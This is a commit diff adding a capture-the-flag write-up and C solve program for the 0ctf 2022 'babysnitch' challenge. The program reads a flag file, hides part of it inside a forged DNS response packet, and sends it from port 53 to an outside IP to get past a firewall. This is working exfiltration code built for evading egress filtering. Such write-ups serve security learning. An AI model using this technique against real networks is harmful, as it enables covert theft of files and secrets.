Add 0ctf babysnitch

Author: sampritipanda

2022/0ctf-2022/babysnitch/README.md

@@ -0,0 +1,9 @@
+BabySnitch
+----------
+
+
+As docker allows us to bind to privileged ports, we can send a UDP request with srcport 53 and dstport 53 to exfil the flag.
+
+The firewall checks to make sure it's a valid DNS response, so we need to ensure the packet is a valid format and smuggle the flag inside.
+
+Check `solve.c` for the solution.

2022/0ctf-2022/babysnitch/solve.c

@@ -0,0 +1,86 @@
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+int main()
+{
+ FILE *f = NULL;
+
+ if ((f = fopen("/flag", "rb")) == NULL) {
+ printf("File read error\n");
+ return -1;
+ }
+
+ fseek(f, 0, SEEK_END);
+ long fsize = ftell(f);
+ fseek(f, 0, SEEK_SET); /* same as rewind(f); */
+
+ char *flag = NULL;
+ if ((flag = malloc(fsize + 1)) == NULL) {
+ printf("malloc error\n");
+ return -1;
+ }
+ fread(flag, fsize, 1, f);
+ fclose(f);
+
+ flag[fsize] = 0;
+
+ int sock = 0;
+ if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
+ printf("Socket creation error\n");
+ return -1;
+ }
+
+ struct sockaddr_in serv_addr, srcaddr;
+ serv_addr.sin_family = AF_INET;
+ serv_addr.sin_port = htons(53);
+
+ if (inet_pton(AF_INET, "8.9.37.107", &serv_addr.sin_addr) <= 0) {
+ printf("Address error\n");
+ return -1;
+ }
+
+ memset(&srcaddr, 0, sizeof(srcaddr));
+ srcaddr.sin_family = AF_INET;
+ srcaddr.sin_addr.s_addr = htonl(INADDR_ANY);
+ srcaddr.sin_port = htons(53);
+
+ if (bind(sock, (struct sockaddr *) &srcaddr, sizeof(srcaddr)) < 0) {
+ perror("bind");
+ exit(1);
+ }
+
+ unsigned char req[] = { /* Packet 84243 */
+0xc3, 0xf1, 0x81, 0x83, 0x00, 0x01, 0x00, 0x00, 
+0x00, 0x01, 0x00, 0x01, 0x25, 0x70, 0x65, 0x72, 
+0x66, 0x65, 0x63, 0x74, 0x70, 0x61, 0x64, 0x64, 
+0x6c, 0x65, 0x72, 0x6c, 0x6d, 0x61, 0x6f, 0x70, 
+0x65, 0x70, 0x65, 0x67, 0x61, 0x6f, 0x6d, 0x67, 
+0x73, 0x75, 0x63, 0x6b, 0x6d, 0x79, 0x64, 0x69, 
+0x63, 0x6b, 0x04, 0x62, 0x6c, 0x75, 0x65, 0x00, 
+0x00, 0x01, 0x00, 0x01, 0xc0, 0x32, 0x00, 0x06, 
+0x00, 0x01, 0x00, 0x00, 0x07, 0x08, 0x00, 0x36, 
+0x02, 0x61, 0x30, 0x03, 0x6e, 0x69, 0x63, 0xc0, 
+0x32, 0x0a, 0x68, 0x6f, 0x73, 0x74, 0x6d, 0x61, 
+0x73, 0x74, 0x65, 0x72, 0x06, 0x64, 0x6f, 0x6e, 
+0x75, 0x74, 0x73, 0x05, 0x65, 0x6d, 0x61, 0x69, 
+0x6c, 0x00, 0x63, 0x26, 0xb7, 0x93, 0x00, 0x00, 
+0x1c, 0x20, 0x00, 0x00, 0x03, 0x84, 0x00, 0x12, 
+0x75, 0x00, 0x00, 0x00, 0x0e, 0x10, 0x00, 0x00, 
+0x29, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+0x00 };
+ 
+
+ memcpy(&req[0x10], &flag[0x60], 0x10);
+
+
+ sendto(sock, req, sizeof(req), MSG_CONFIRM, (const struct sockaddr *) &serv_addr, sizeof(serv_addr));
+
+ printf("BYE\n");
+
+ return 0;
+}
+
+